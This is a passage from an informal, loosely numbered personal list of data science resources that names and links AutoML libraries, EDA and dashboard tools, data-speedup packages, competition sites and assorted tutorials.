9.SIGNATE Competition- https://signate.jp/about?rf=competition_about 9.International Data Analysis Olympiad (IDAHO) 10.Codalab 11.Iron Viz 12.Data Science Challenges 13.Tianchi Big Data Competition 14.https://www.techgig.com/hackathon/ml_hackathon 15.https://www.openml.org/ https://towardsdatascience.com/12-data-science-ai-competitions-to-advance-your-skills-in-2021-32e3fcb95d8c https://www.kdnuggets.com/2020/09/international-alternatives-kaggle-data-science-competitions.html ***Some useful content :*** 1. H20.ai automl, google automl,Google Cloud AutoML,google ml kit(https://developers.google.com/ml-kit) ,Azure Cognitive Services,Azure Machine Learning Service,amazon ml,Azure Machine Learning Studio,Google Cloud Platform,gcp automl ision,Weka,AutoWeka,Microsoft Cognitive Toolkit,Google Cloud AutoML,DataRobot AutoML,Databricks AutoML,Azure ML,azure machine learning studio,IBM Watson ml studio,AWS Sagemaker Studio,aws rekognition,Google AI Platform,Databricks,Domino Data Lab,roboflow,Qlik AutoML,NVIDIA TAO H2O Driverless AI https://www.h2o.ai/products/h2o-driverless-ai/ H2O Flow - Web Based Machine Learning Development https://docs.h2o.ai/h2o/latest-stable/h2o-docs/flow.html https://www.analyticsvidhya.com/blog/2021/05/a-step-by-step-guide-to-automl-with-h2o-flow/ https://docs.microsoft.com/en-us/azure/machine-learning/algorithm-cheat-sheet https://neptune.ai/blog/best-machine-learning-as-a-service-platforms-mlaas?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-machine-learning-as-a-service-platforms-mlaas https://codegnan.com/blog/35-best-data-sciecne-tools-for-beginners-to-master/ https://analyticsindiamag.com/free-online-resources-to-learn-automl/ https://analyticsindiamag.com/10-popular-automl-tools-developers-can-use/ https://analyticsindiamag.com/8-best-open-source-tools-for-data-mining/ mlkit-https://firebase.google.com/products/ml runway https://runwayml.com/ fritz https://www.fritz.ai/ obviously https://www.obviously.ai/ createml https://developer.apple.com/machine-learning/create-ml/ makeml https://makeml.app/ superannotate https://superannotate.com/ https://rapidminer.com/ https://monkeylearn.com/monkeylearn-studio/ https://nanonets.com/ GCP Professional ML Engineer certification in 8 days https://ml-rafiqhasan.medium.com/how-i-cracked-the-gcp-professional-ml-engineer-certification-in-8-days-f341cf0bc5a0 Vertex AI, one platform, every ML tool you need https://cloud.google.com/vertex-ai 2.FasterAI,keras,fastai,tesorflow,pytorch Automated model architecture search tools (e.g. darts, enas) https://awesomeopensource.com/projects/automl https://github.com/search?q=automl https://www.kdnuggets.com/2016/03/automated-data-science.html https://www.kdnuggets.com/software/automated-data-science.html Tpot https://github.com/EpistasisLab/tpot ATOM https://github.com/tvdboom/ATOM https://towardsdatascience.com/how-to-test-multiple-machine-learning-pipelines-with-just-a-few-lines-of-python-1a16cb4686d mljar-supervised https://github.com/mljar/mljar-supervised libra end-to-end machine learning process in just one line of code https://github.com/Palashio/libra featurewiz, boruta_py ,AutoWeka,Auto-Sklearn,AutoGluon,Auto-PyTorch,AutoKeras,auto-tensorflow,Ludwig,MLBox,PyCaret,LightAutoML,FLAML,EvalML,H2O AutoML GML https://github.com/Muhammad4hmed/GML auto_ml https://github.com/ClimbsRocks/auto_ml automl-gs Automating Machine Learning In A Single Line Of Code https://github.com/minimaxir/automl-gs paddlehub Performing Computer Vision & NLP Tasks in a Single Of Code https://github.com/PaddlePaddle/PaddleHub pywedge https://github.com/taknev83/pywedge https://towardsdatascience.com/automated-interactive-package-for-eda-modeling-and-hyperparameter-tuning-in-a-few-lines-of-228c561fa63c LightAutoML https://github.com/sberbank-ai-lab/LightAutoML https://lightautoml.readthedocs.io/en/latest/ https://towardsdatascience.com/lightautoml-preset-usage-tutorial-2cce7da6f936 FLAML fast and lightweight AutoML library https://github.com/microsoft/FLAML LightAutoML LAMA - automatic model creation framework https://github.com/sberbank-ai-lab/LightAutoML H2O Hydrogen Torch: A No-code Deep Learning Framework EvalML is an AutoML library https://github.com/alteryx/evalml https://evalml.alteryx.com/en/stable/ https://www.kdnuggets.com/2021/04/easy-automl-python.html https://www.youtube.com/watch?v=uuYEQqrExBQ https://www.analyticsvidhya.com/blog/2021/05/machine-learning-automation-using-evalml-library/ dataprep Beginners Guide to Automation in Data Science https://www.analyticsvidhya.com/blog/2021/04/beginners-guide-to-automation-in-data-science/ A machine learning tool for automated prediction engineering https://github.com/alteryx/compose adanet https://github.com/tensorflow/adanet mljar-supervised https://github.com/mljar/mljar-supervised/ https://www.kdnuggets.com/2021/05/binary-classification-automated-machine-learning.html ludwig https://github.com/ludwig-ai/ludwig carefree-learn is a minimal Automatic Machine Learning (AutoML) solution for tabular datasets based on PyTorch https://carefree0910.me/carefree-learn-doc/ autoweka https://github.com/automl/autoweka ATOM Automated Tool for Optimized Modelling https://github.com/tvdboom/ATOM autokeras https://autokeras.com/ autoSklearn https://automl.github.io/auto-sklearn/master/ baytune auto-tuning https://github.com/MLBazaar/BTB storm-tuner Best Hyper Parameters For Deep Learning Model https://github.com/ben-arnao/StoRM adanet https://github.com/tensorflow/adanet AlphaPy Automated Machine Learning https://github.com/ScottfreeLLC/AlphaPy TransmogrifAI https://github.com/salesforce/TransmogrifAI Hugging Face’s AutoNLP https://www.analyticsvidhya.com/blog/2021/03/a-hands-on-introduction-to-hugging-faces-autonlp-101/ complex Machine Learning model in one line with Libra https://github.com/Palashio/libra Automated Text Classification with EvalML https://www.kdnuggets.com/2021/04/automated-text-classification-evalml.html Pywedge A complete package for EDA, Data Preprocessing and Modelling https://towardsdatascience.com/pywedge-a-complete-package-for-eda-data-preprocessing-and-modelling-32171702a1e0 3.awesome-AutoML https://github.com/windmaple/awesome-AutoML , automl-gs github.com/minimaxir/automl-gs autopandas,Auto-Sklearn,Auto-Pytorch,Auto-ViML,AutoViz,AutoGluon,MLBox,FLAML,EvalML,scikit-optimize,Hyperopt-Sklearn,smac3,alphapy,nni,adanet,ludwig, TPOT,flaml, H2OAutoML ,automl ,LightAutoML,auto keras,MLJAR,PyCaret,Auto-sklearn,SMAC,WALTS Auto-PyTorch,Keras Tuner,DataRobot, DriverlessAI , MLBox, AutoGluon, autoweka, Amazon Lex,Darwin,AdaNet, Microsoft NNI,GradsFlow,Ludwig,autoai,Get Duet,Qlik AutoML,NeutonAutoML,Clarifai,CreateML,Lobe,ObviouslyAI,RunwayML,neuton automl,TransmogrifAI,Rapid Miner,Dataiku,DataRobot,H2O Driverless,Amazon Lex, BigML,AutoML JADBio,Akkio MLJAR, Tazi.ai,UBER’s Ludwig,ANAI,Google Vizier,Tune,HpBandSter,Hyperopt,Facebook’s HiPlot,Bayesian Optimisation,SmartML,SigOpt,Talos,mlmachine,SHERPA Scikit-Optimize,Microsoft’s NNI,Google’s Vizer,GPyOpt,Hyperopt Metric Optimisation Engine (MOE),Optuna,Ray Tune,Keras Tuner,TransmogrifAI Automated Tensorflow https://github.com/rafiqhasan/auto-tensorflow MLBox https://github.com/AxeldeRomblay/MLBox skycube automl https://skycube.app/ stackml Machine Learning platform in the browser https://stackml.com/ quick_ml https://pypi.org/project/quick-ml/ https://www.quickml.info/ MLJAR https://github.com/mljar/mljar-supervised/ https://towardsdatascience.com/binary-classification-with-automated-machine-learning-1a36e78ba50f TransmogrifAI https://github.com/salesforce/TransmogrifAI darwin http://drwn.anu.edu.au/ GenoML (AutoML) for Genomics https://genoml.com/ https://github.com/GenoML baytune https://www.kdnuggets.com/2021/03/automating-machine-learning-model-optimization.html https://github.com/MLBazaar/BTB adanet https://github.com/tensorflow/adanet FEDOT Automated modeling and machine learning framework FEDOT https://github.com/nccr-itmo/FEDOT 4.AutoGluon AutoML for Text, Image, and Tabular Data https://analyticsindiamag.com/how-to-automate-machine-learning-tasks-using-autogluon/ AutoGL: The First Ever AutoML Framework for Graph Datasets https://analyticsindiamag.com/meet-autogl-the-first-ever-automl-framework-for-graph-datasets/ Neuton TinyML https://neuton.ai/ 5. auto sklearn,auto keras,auto Tensorflow,autoLightAutoML,xcessiv,kerastuner ,LAMA, NNI, FEDOT (https://github.com/sberbank-ai-lab/LightAutoML) deephyper Automating Deep Neural Networks https://github.com/deephyper/deephyper Keras Tuner or storm-tuner - Decide Number of Hidden Layers And Neuron In Neural Network AutoNeuro https://autoneuro.challenge-ineuron.in/ ATOM https://towardsdatascience.com/atom-a-python-package-for-fast-exploration-of-machine-learning-pipelines-653956a16e7b https://github.com/tvdboom/ATOM 6. autoviml https://github.com/AutoViML/Auto_ViML https://towardsdatascience.com/autoviml-automating-machine-learning-4792fee6ae1e deep_autoviml https://github.com/AutoViML/deep_autoviml 𝗮𝘂𝘁𝗼𝗺𝗮𝘁𝗲 𝗺𝗼𝘀𝘁 𝗼𝗳 𝘁𝗵𝗲 𝗱𝗮𝘁𝗮 𝘀𝗰𝗶𝗲𝗻𝗰𝗲 https://github.com/Muhammad4hmed/GML CodeLess https://pypi.org/project/codeless/ https://github.com/porky5191/codeless_demo_project AUTORL: AUTOML FOR RL https://www.automl.org/blog-autorl/ 8. sweetviz (EDA purpose) - https://pypi.org/project/sweetviz/ https://www.kdnuggets.com/2021/03/know-your-data-much-faster-sweetviz-python-library.html 9. pandasprofiling(display whole EDA) - https://pypi.org/project/pandas-profiling/ https://pandas-profiling.github.io/pandas-profiling/docs/master/rtd/index.html 10. autokeras,AutoSklearn,Neural Network Intelligence FeatureTools automated feature engineering. MLBox,Lightwood,mindsdb(machine learning models using SQL queries),mljar-supervised,Ludwig(deep learning models without the need to write code) AdaNet is a lightweight TensorFlow-based framework 11. pycaret- https://pycaret.org/ https://www.kdnuggets.com/2020/08/build-automl-pycaret.html https://www.kdnuggets.com/2020/08/github-best-automl-ever-need.html https://www.kdnuggets.com/2020/07/5-things-pycaret.html Machine Learning in Power BI using PyCaret https://www.kdnuggets.com/2020/05/machine-learning-power-bi-pycaret.html https://towardsdatascience.com/build-your-first-anomaly-detector-in-power-bi-using-pycaret-2b41b363244e https://www.kdnuggets.com/2020/06/deploy-machine-learning-pipeline-cloud-docker.html https://www.kdnuggets.com/2020/08/github-best-automl-ever-need.html mindsdb Machine Learning in 5 Lines of Code https://mindsdb.com/ automated feature engineering https://github.com/alteryx/featuretools https://towardsdatascience.com/why-automated-feature-engineering-will-change-the-way-you-do-machine-learning-5c15bf188b96 Featuretools https://www.featuretools.com/ Automate your ML Pipelines with EvalML https://analyticsindiamag.com/automate-your-ml-pipelines-with-evalml/ Aethos — A Data Science Library to Automate your Workflow https://towardsdatascience.com/aethos-a-data-science-library-to-automate-workflow-17cd76b073a4 AutoAI — Automating the AI Workflow to Build & Deploy Machine Learning model https://medium.com/geekculture/autoai-automating-the-ai-workflow-to-build-deploy-machine-learning-model-bb2b727cda28 AutoML toolkit https://github.com/microsoft/nni LightAutoML LAMA - automatic model creation framework https://github.com/sberbank-ai-lab/LightAutoML https://analyticsindiamag.com/hands-on-python-guide-to-lama-an-automatic-ml-model-creation-framework/ LightAutoML https://github.com/sb-ai-lab/LightAutoML mljar-supervised Automates Machine Learning Pipeline with Feature Engineering and Hyper-Parameters Tuning https://github.com/mljar/mljar-supervised MLBox is a powerful Automated Machine Learning python library https://github.com/AxeldeRomblay/MLBox 12.Auto_Timeseries by auto_ts 13.AutoNLP_Sentiment_Analysis by autoviml 14.automl lazypredict https://github.com/shankarpandala/lazypredict AutoML Toolkit for Graph Datasets & Tasks AutoGL(Auto Graph Learning)https://medium.com/syncedreview/tsinghua-university-releases-first-automl-toolkit-for-graph-datasets-tasks-c61ea0261d78 AutoFeat-https://analyticsindiamag.com/guide-to-automatic-feature-engineering-using-autofeat/ 15.https://github.com/mstaniak/autoEDA-resources mito , dtale bamboolib or pandas-ui or pandas-summary or pandas_visual_analysis or Dtale(get code also) (python package for easy data exploration & transformation) Automating EDA using Pandas Profiling, streamlit_pandas_profiling,Sweetviz and Autoviz,DataPrep,vaex,Datapane,Sweetviz,pandas_UI,PandasGUI,Datatable,Dora,Pywedge,D-Tale,lux,Dabl,Pretty pandas,data_describe,Sparkora,AWS Glue DataBrew,speedML,edaviz,Altair,voyager,Mito,Facets,KNIME,lux,datatable,Pandas-visual-analysis,ExploriPy,Holoviews,lux,Dataprep,atoti,QuickDA ,panel-highcharts,Know Your Data,Atoti ,ExploriPy,autoplotter,tensorflow data validation,skimpy,Skim,OpenRefine,Visualizer,autoclean,Autoplotter,dataTile,mito,Bamboolib,TensorFlow Data Validation,speedML,edaviz,pandas-summary,ExploriPy, ipywidgets,ipympl,data_describe,lens,DStack,autoplotter,klib,Datasette,FACETS,TensorFlow Data Validation,Auto Data Exploration and Feature Recommendation Tool,great_expectations,DataProfiler,Datasette,streamlit-aggrid,Quick-EDA,QuickDA,Datatile,Deepnote,PiML,AutoPlotter,Klib,Pivottablejs,Qgrid,facets,Great Expectations,Explainerdashboard,BitRook,AutoPlotter,OmniXAI,tabloo,sidetable,HvPlot,summarytools,fasteda,Rath,Missingno,Sketch,pygwalker,fasteda,Apache Superset,Algorithm-visualizer,perspective,jupyter-datatables,dfgui,AutoProfiler,Datatile,ExploriPy Three R Libraries for Automated EDA dataMaid,DataExplorer,SmartEDA fiftyone Highly Interactive Dashboards For Visualizing Datasets and Interpret Model https://towardsdatascience.com/highly-interactive-dashboards-for-visualizing-dataset-and-interpret-model-ce6311ea57ca interpret Dashboards for Interpreting & Comparing Machine Learning Models https://towardsdatascience.com/dashboards-for-interpreting-comparing-machine-learning-models-ffcfb4c05152 QuickDA https://towardsdatascience.com/save-hours-of-work-doing-a-complete-eda-with-a-few-lines-of-code-45de2e60f257 Dataprep https://towardsdatascience.com/dataprep-eda-accelerate-your-eda-eb845a4088bc https://www.analyticsvidhya.com/blog/2021/05/dataprep-library-perform-eda-faster/ explainerdashboard https://towardsdatascience.com/the-quickest-way-to-build-dashboards-for-machine-learning-models-ec769825070d Facets https://github.com/PAIR-code/facets https://towardsdatascience.com/visualize-your-data-with-facets-d11b085409bc pywedge https://github.com/taknev83/pywedge https://towardsdatascience.com/automated-interactive-package-for-eda-modeling-and-hyperparameter-tuning-in-a-few-lines-of-228c561fa63c Datapane makes it simple to build shareable reports from Python https://github.com/datapane/datapane https://towardsdatascience.com/datapanes-new-features-create-a-beautiful-dashboard-in-python-in-a-few-lines-of-code-a3c44523292b https://towardsdatascience.com/introduction-to-datapane-a-python-library-to-build-interactive-reports-4593fd3cb9c8 lux https://medium.com/swlh/automating-exploratory-data-analysis-part-3-d04352b83072 https://pub.towardsai.net/speed-up-eda-with-the-intelligent-lux-37f96542527b lux Python API for Intelligent Visual Data Discovery https://github.com/lux-org/lux https://analyticsindiamag.com/python-guide-to-lux-an-interactive-visual-discovery/ Automatic EDA https://thecleverprogrammer.com/2021/02/06/automatic-eda-using-python/ Automated Interactive Package for EDA, Modeling, and Hyperparameter Tuning in a few lines of Python Code https://towardsdatascience.com/automated-interactive-package-for-eda-modeling-and-hyperparameter-tuning-in-a-few-lines-of-228c561fa63c Arena https://github.com/ModelOriented/Arena https://github.com/mstaniak/autoEDA-resources https://thecleverprogrammer.com/2021/02/06/automatic-eda-using-python/ ExploriPy import EDA-https://analyticsindiamag.com/hands-on-tutorial-on-exploripy-effortless-target-based-eda-tool/ Lens- Statistical Analysis of Data https://analyticsindiamag.com/hands-on-tutorial-on-lens-python-tool-for-swift-statistical-analysis/ Dashboard in Less Than 10 Lines of Code https://towardsdatascience.com/build-dashboards-in-less-than-10-lines-of-code-835e9abeae4b Plotly Express Interprete data through interactive visualization https://pub.towardsai.net/matplotlib-is-dead-long-life-to-plotly-express-e1671dce0d18 Rich terminal dashboards https://www.willmcgugan.com/blog/tech/post/building-rich-terminal-dashboards/ Explainable AI dashboards https://github.com/oegedijk/explainerdashboard https://www.youtube.com/watch?v=ZgypAMRcmw8 Machine Learning Model Dashboard https://towardsdatascience.com/machine-learning-model-dashboard-4544daa50848 Creating Automated Python Dashboards using Plotly, Datapane, and GitHub Actions https://towardsdatascience.com/creating-automated-python-dashboards-using-plotly-datapane-and-github-actions-ff8aa8b4e3 atoti Python library to quickly build BI analytics dashboards https://docs.atoti.io/latest/tutorial/tutorial.html interactive dashboards https://medium.com/analytics-vidhya/explainer-dashboard-build-interactive-dashboards-for-machine-learning-models-fda63e0eab9 MitoSheets https://analyticsindiamag.com/guide-to-mitosheets-harnessing-power-of-spreadsheets-in-python/ Datacleaner-https://analyticsindiamag.com/tutorial-on-datacleaner-python-tool-to-speed-up-data-cleaning-process/ Datacleaner :dora ,Voilà -Jupyter Notebooks quickly into standalone web applications , Plotly Dash - for more advanced and production level dashboards featurewiz(Select the best features from your data set fast with a single line of code) - https://github.com/AutoViML/featurewiz explainerdashboard https://medium.com/analytics-vidhya/explainer-dashboard-build-interactive-dashboards-for-machine-learning-models-fda63e0eab9 interpret Dashboards for Interpreting & Comparing Machine Learning Models https://hmix13.medium.com/dashboards-for-interpreting-comparing-machine-learning-models-ffcfb4c05152 https://www.kdnuggets.com/2019/07/10-simple-hacks-speed-data-analysis-python.html Panel - web apps Automating report generation with Jupyter Notebooks https://medium.com/applied-data-science/full-stack-data-scientist-5-automating-report-generation-with-jupyter-notebooks-919e32e88d18 10 Useful Jupyter Notebook Extensions for a Data Scientist https://towardsdatascience.com/10-useful-jupyter-notebook-extensions-for-a-data-scientist-bd4cb472c25e Datapane ( Build Interactive Reports) https://towardsdatascience.com/introduction-to-datapane-a-python-library-to-build-interactive-reports-4593fd3cb9c8 https://www.kdnuggets.com/news/index.html pomegranate probabilistic modelling in Python https://github.com/jmschrei/pomegranate https://www.kdnuggets.com/2020/12/fast-intuitive-statistical-modeling-pomegranate.html 16.CUPY (array process parallel in gpu) https://pypi.org/project/cupy/ 17.Dabl-automate the known 80% of Data Science which is data preprocessing, data cleaning, and feature engineering https://pypi.org/project/dabl/ 18.dask (parallel comptataion) https://docs.dask.org/en/latest/ https://medium.com/rapids-ai/reading-larger-than-memory-csvs-with-rapids-and-dask-e6e27dfa6c0f#cid=av01_so-nvsh_en-us pandarallel https://towardsdatascience.com/make-pandas-run-blazingly-fast-3dbcd621f75b Dask Dataframe and SQL https://docs.dask.org/en/latest/dataframe-sql.html Swiftapply  – Automatically efficient pandas apply operations https://www.kdnuggets.com/2018/04/swiftapply-automatically-efficient-pandas-apply-operations.html Dask CUDA Numba https://github.com/numba/numba https://www.youtube.com/watch?v=3O-Pvnrbsu0 https://www.analyticsvidhya.com/blog/2021/04/numba-for-data-science-make-your-py-code-run-1000x-faster/ Arrow https://towardsdatascience.com/how-fast-is-reading-parquet-file-with-arrow-vs-csv-with-pandas-2f8095722e94 Cython,Numba,PyPy,ray,loky,Dask,p_tqdm (aka Pathos + tqdm),modin,connectorx,cudf, cuML Reducing Pandas memory https://pythonspeed.com/articles/pandas-load-less-data/ https://www.youtube.com/watch?v=HNE0qHJ9A9o Speed up Scikit-Learn Model Training https://www.kdnuggets.com/2021/02/speed-up-scikit-learn-model-training.html mpire Python package for easy multiprocessing, but faster than multiprocessing https://github.com/Slimmer-AI/mpire thundergbm Fast GBDTs and Random Forests on GPUs https://github.com/Xtra-Computing/thundergbm thundersvm https://github.com/Xtra-Computing/thundersvm NumPy API on TensorFlow https://www.tensorflow.org/guide/tf_numpy https://www.youtube.com/watch?v=mgY46AEXnG0 change to proper dtypes,usecols of required only reduce size Better Data Storage : CSV,Parquet,fastparquet,Feather,lance,HDF5,Apache Arrow,Lance pandas chunksize,Pandas vectorization,Numpy Vectorization, multiprocessing,airflow,celery,Modin ,Vaex,ray,Dask,PyPolars,Polars,spark,pyspark,Koalas,Cython , cuML,cuDF,cupy,mars,ray,Caching,rapids,joblib,snorkel,arrow,Pyarrow,Ponder,Apache Arrow,Datatable,Fastparquet,dampr,Data Table , pandarallel ,Parallel-Pandas,numba,bolt, numexpr,ipython parallel,Nim,speedML,ConnectorX , apache arrow,jax,Pandas-on-Spark,Terality,swifter,partial_fit(),Numba,numexpr,mtalgDask,PyArrow, and PySpark,Fugue,NumPy vectorization,Pandas vectorization,datatable,RAPIDS,Swifter,taichi,scikit-learn-intelex,𝚏𝚞𝚐𝚞𝚎,bottleneck,Pandarallel,Datatable,Pyspark,Koalas,Cylon,Ibis,pandarallel,Blaze,Odo,multiprocessing,joblib,bottleneck,Mapply,Bottleneck,DuckDB,DataFusion, Blaze,Dremio,DuckDB,dbt,Ponder,Daft https://www.youtube.com/watch?v=eJyjB3cNIB0&feature=youtu.be deal with Big Data Optimize dataframes,Use only required columns,Chunking data,Sparse data formats,Better Data file formats(Parquet,Feather,HDF5),Pandas alternates(Modin,vaex,dask,spark),Intel(R) extension for sklearn, Apply Vectorized,Numba,Rapids cuDF composer library of algorithms to speed up neural network training https://github.com/mosaicml/composer ColossalAI A Unified Deep Learning System for Large-Scale Parallel Training https://github.com/hpcaitech/ColossalAI 19.dataprep (Understand your data with a few lines of code in seconds) data-preparation-tools - https://improvado.io/blog/data-preparation-tools 20.Dora library is another data analysis library designed to simplify exploratory data analysis. https://pypi.org/project/Dora/ 23.FlashText (A library faster than Regular Expressions for NLP tasks) https://pypi.org/project/flashtext/ 24.Guietta (tool that makes simple GUIs simple) https://pypi.org/project/guietta/ pandas-visual-analysis -https://analyticsindiamag.com/hands-on-guide-to-pandas-visual-analysis-way-to-speed-up-data-visualization/ 25.hummingbird (make code fastly exexcute) https://pypi.org/project/Hummingbird/ https://analyticsindiamag.com/guide-to-hummingbird-a-microsofts-library-for-expediting-traditional-machine-learning-models/ CUML- increase the speed of training your machine learning model https://towardsdatascience.com/train-your-machine-learning-model-150x-faster-with-cuml-69d0768a047a https://docs.rapids.ai/api/cuml/stable/ modin https://www.kdnuggets.com/2021/03/speed-up-pandas-modin.html Datatable speed up pandas https://www.youtube.com/watch?v=mQi6QIGGJ5U Process large datasets without running out of memory https://pythonspeed.com/memory/?utm_medium=email&utm_source=topic+optin&utm_campaign=awareness&utm_content=20210426+data+ai+nl&mkt_tok=MTA3LUZNUy0wNzAAAAF8rA-uJucI5nYkInNB60OO8SozgyRZZ2ptfW-Dt-5HR3I0ysFHju2OYpeK_JZRtxcnmHGSefwL-1zg9Be3zse6zZVklh3zcWYSCxLRvJqd5LfAJMaF Snap ML — Speed Up Model Training https://medium.com/ibm-data-ai/snap-ml-speed-up-model-training-2ef36fbbf101 26.memory-profiler (tell memory consumption line by line) https://pypi.org/project/memory-profiler/ Cython A Speed-Up Tool for your Python Function https://towardsdatascience.com/cython-a-speed-up-tool-for-your-python-function-9bab64364bfd PyPy Run Your Python Code as Fast as C https://towardsdatascience.com/run-your-python-code-as-fast-as-c-4ae49935a826 Python Tricks for Keeping Track of Your Data https://towardsdatascience.com/python-tricks-for-keeping-track-of-your-data-aef3dc817a4e 27.numexpr (incerease speed of execution of numpy) https://github.com/pydata/numexpr pypolars instead of pandas (beating-pandas-performance) https://www.youtube.com/watch?v=1-O_KnLZEso https://towardsdatascience.com/3x-times-faster-pandas-with-pypolars-7550e605805e 50X speed up your Pandas apply function https://github.com/jmcarpenter2/swifter sklearn 100x Faster https://www.kdnuggets.com/2019/09/train-sklearn-100x-faster.html JAX Autograd and XLA, facilitating high-performance machine learning research https://github.com/google/jax Numba (optimise performance of numpy and high performance python compiler) http://numba.pydata.org/ Pyston project open sources its faster Python https://www.infoworld.com/article/3618169/pyston-project-open-sources-its-faster-python.html 28.pandarallel (simple and efficient tool to parallelize your pandas computation on all your CPUs) https://pypi.org/project/pandarallel/ Pandarallel, Pandarallel’s parallel_apply() 29.PDFTableExtract(by PyPDF2) https://github.com/ashima/pdf-table-extract Camelot-https://towardsdatascience.com/extracting-tabular-data-from-pdfs-made-easy-with-camelot-80c13967cc88 30.PyImpuyte(Python package that simplifies the task of imputing missing values in big datasets) https://pypi.org/project/PyImpuyte/ 31.libra(Automates the end-to-end machine learning process in just one line of code) https://pypi.org/project/libra/ 32.debug code by puyton -m pdp -c continue 33.cURL (This is a useful tool for obtaining data from any server via a variety of protocols including HTTP.) https://stackabuse.com/using-curl-in-python-with-pycurl/ 34.csvkit https://pypi.org/project/csvkit/ 35.IPython IPython gives access to enhanced interactive python from the shell. 36.pip install faker (Create our own Dataset) https://pypi.org/project/Faker/ 37.Python debugger %pdb 38.𝚟𝚘𝚒𝚕𝚊-From notebooks to standalone web applications and dashboards https://voila.readthedocs.io/en/stable/ https://github.com/voila-dashboards/voila 39.𝚝𝚜𝚕𝚎𝚊𝚛𝚗 for timeseries data https://github.com/tslearn-team/tslearn 40.texthero text-based dataset in Pandas Dataframe quickly and effortlessly https://github.com/jbesomi/texthero 41.𝚔𝚊𝚕𝚎𝚒𝚍𝚘(web-based visualization libraries like your Jupyter Notebook with zero dependencies) https://pypi.org/project/kaleido/ 42.Vaex- Reading And Processing Huge Datasets in seconds https://github.com/vaexio/vaex 43.Uber’s Ludwig is an Open Source Framework for Low-Code Machine Learning https://eng.uber.com/introducing-ludwig/ 44.Google's TAPAS, a BERT-Based Model for Querying Tables Using Natural Language https://github.com/google-research/tapas 45.RAPIDS open GPU Data Science https://rapids.ai/ RAPIDS cuML,cudf tick is a lightweight machine learning library https://x-datainitiative.github.io/tick/ modular machine learning framework http://www.pybrain.org/docs/ machine learning framework It supports several programming languages notably: Python, R, Java, Scala, Ruby and Lua Shogun https://github.com/shogun-toolbox/shogun/ 46.pyforest Lazy-import of all popular Python Data Science libraries. Stop writing the same imports over and over again. https://pypi.org/project/pyforest/0.1.1/ 47.Modin Get faster Pandas with Modin https://github.com/modin-project/modin 48.Text2Code for Jupyter notebook - https://github.com/deepklarity/jupyter-text2code , https://towardsdatascience.com/data-analysis-made-easy-text2code-for-jupyter-notebook-5380e89bb493 49.Openrefine Tool-For Data Preprocessing Without Code https://analyticsindiamag.com/openrefine-tutorial-a-tool-for-data-preprocessing-without-code/ 50.Microsoft Releases Latest Version Of DeepSpeed deep learning optimisation library known as DeepSpeed- https://github.com/microsoft/DeepSpeed https://analyticsindiamag.com/microsoft-releases-latest-version-of-deepspeed-its-python-library-for-deep-learning-optimisation/ 51.4-pandas-tricks-https://towardsdatascience.com/4-pandas-tricks-that-most-people-dont-know-86a70a007993 53.autoplotter is a python package for GUI based exploratory data analysis-https://github.com/ersaurabhverma/autoplotter 54.3 NLP Interpretability Tools For Debugging Language Models-https://www.topbots.com/nlp-interpretability-tools/ 55.New Algorithm For Training Sparse Neural Networks (RigL)-https://analyticsindiamag.com/rigl-google-algorithm-neural-networks/ 56.Read Data from pdf and Word-PyPDF2,PDFMiner,PDFQuery,tabula-py,pdflib for Python,PDFTables,PyFPDF2 OpenCV to Extract Information From Table Images-https://analyticsindiamag.com/how-to-use-opencv-to-extract-information-from-table-images/ 57.Text Annotation-https://towardsdatascience.com/tortus-e4002d95134b 58.GDMix, A Framework That Trains Efficient Personalisation Models - https://analyticsindiamag.com/linkedin-open-sources-gdmix-a-framework-that-trains-efficient-personalisation-models/ 59.Learn Machine Learning Concepts Interactively-https://towardsdatascience.com/learn-machine-learning-concepts-interactively-6c3f64518da2 60.Folium, Python Library For Geographical Data Visualization-https://analyticsindiamag.com/hands-on-tutorial-on-folium-python-library-for-geographical-data-visualization/ 61.GPU Technology Conference (GTC) Keynote Oct 2020-https://www.youtube.com/watch?v=Dw4oet5f0dI&list=PLZHnYvH1qtOYOfzAj7JZFwqtabM5XPku1 62.jiant nlp task-https://github.com/nyu-mll/jiant 63.painted your machine learning model-https://koaning.github.io/human-learn/ 64.Vector AI-https://github.com/vector-ai/vectorai 65.NVIDIA NeMo(for Conversational AI)-https://github.com/NVIDIA/NeMo 66.Deep Learning Models Without Coding(DeepCognition)-https://analyticsindiamag.com/how-to-use-deepcognition-to-build-drag-and-drop-deep-learning-models-without-coding/ 67.100 Machine Learning Projects-https://medium.com/@amankharwal/100-machine-learning-projects-aff22b22dd6e 68.Question generation using Natural Language Processing-https://github.com/ramsrigouthamg/Questgen.ai 69.PixelLib(image segmentation,Blur Background,Gray Background,Background Colour Change,Background Change)-https://github.com/ayoolaolafenwa/PixelLib 70.High-Resolution 3D Human Digitization-https://shunsukesaito.github.io/PIFuHD/ 71.AI model that translates 100 languages without relying on English data - https://ai.facebook.com/blog/introducing-many-to-many-multilingual-machine-translation/ 72.800 free textbooks - https://open.umn.edu/opentextbooks 73.TensorDash is an application that lets you remotely monitor your deep learning model's metrics and notifies you when your model training is completed or crashed. https://github.com/CleanPegasus/TensorDash HyperDash https://towardsdatascience.com/how-to-monitor-and-log-your-machine-learning-experiment-remotely-with-hyperdash-aa7106b15509 74.YellowBrick -select features, tune hyperparameters, select the best models, and understand the performance metrics. 75.Freely Available Python Books-https://rajukumarmishrablog.com/freely-available-python-books/ Collection of Python Cheat Sheets- https://rajukumarmishrablog.com/collection-of-python-cheat-sheets/ 76.Add External Data to Your Pandas Dataframe - https://towardsdatascience.com/add-external-data-to-your-pandas-dataframe-with-a-one-liner-f060f80daaa4 https://www.openblender.io/#/welcome 77.visualize the model architecture-https://github.com/PerceptiLabs/PerceptiLabs 78.Train Conversational AI in 3 lines of code with NeMo and Lightning-https://towardsdatascience.com/train-conversational-ai-in-3-lines-of-code-with-nemo-and-lightning-a6088988ae37 79.Machine Learning for Healthcare by mit-https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-s897-machine-learning-for-healthcare-spring-2019/ 80.pydot is an interface to Graphviz ,AutoGraph-Easy control flow for graphs,Neo4j-Graph Data Science Library,pyRDF2Vec-Representations of Entities in a Knowledge Graph,igraph,NetworkX,euler,pyvis,NEuler: No-code graph algorithms,dgl ease deep learning on graph,Graph4nlp,Graph-tool,Networkit,Igraph PyG (PyTorch Geometric) Graph Neural Network Library for PyTorch https://github.com/pyg-team/pytorch_geometric 7 Open Source Libraries for Deep Learning Graphs https://www.kdnuggets.com/2021/07/7-open-source-libraries-deep-learning-graphs.html GeometricFlux.jl,PyTorch GNN, Jraph,Spektral,Graph Nets,Deep Graph Library , PyTorch Geometric 